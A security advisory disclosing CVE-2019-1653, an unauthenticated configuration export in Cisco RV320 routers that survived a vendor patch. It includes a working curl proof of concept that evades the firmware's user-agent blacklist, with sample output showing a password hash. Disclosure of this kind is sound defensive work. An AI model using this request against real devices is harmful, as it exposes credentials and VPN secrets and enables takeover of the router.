Advisory: Cisco RV320 Unauthenticated Configuration Export RedTeam Pentesting discovered that the configuration of a Cisco RV320 router can still be exported without authentication via the device's web interface due to an inadequate fix by the vendor. Details ======= Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 through 1.4.2.20 Fixed Versions: none Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info Vendor Status: working on patch Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003 Advisory Status: published CVE: CVE-2019-1653 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653 Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device's firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI program: /cgi-bin/config.exp By issuing an HTTP GET request to this program, it was possible to export a router's configuration without providing any prior authentication. This vulnerability was adressed in firmware version 1.4.2.19 published by Cisco [3]. RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. By performing a specially crafted HTTP POST request, attackers are still able to download the router's configuration. The user agent "curl" is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication. Proof of Concept ================ A device's configuration can be retrieved by issuing an HTTP POST request to the vulnerable CGI program (output shortened): ------------------------------------------------------------------------ $ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \ 'https://192.168.1.1/cgi-bin/config.exp' ####sysconfig#### [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX [...] [SYSTEM] HOSTNAME=router DOMAINNAME=example.com DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 [...] ------------------------------------------------------------------------ Workaround ========== Prevent untrusted clients from connecting to the device's web server. Fix === None Security Risk ============= This vulnerability is rated as a high risk as it exposes the device's configuration to untrusted, potentially malicious parties. By downloading the configuration, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router's user accounts. Knowledge of a user's password hash is sufficient to log into the router's web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks.
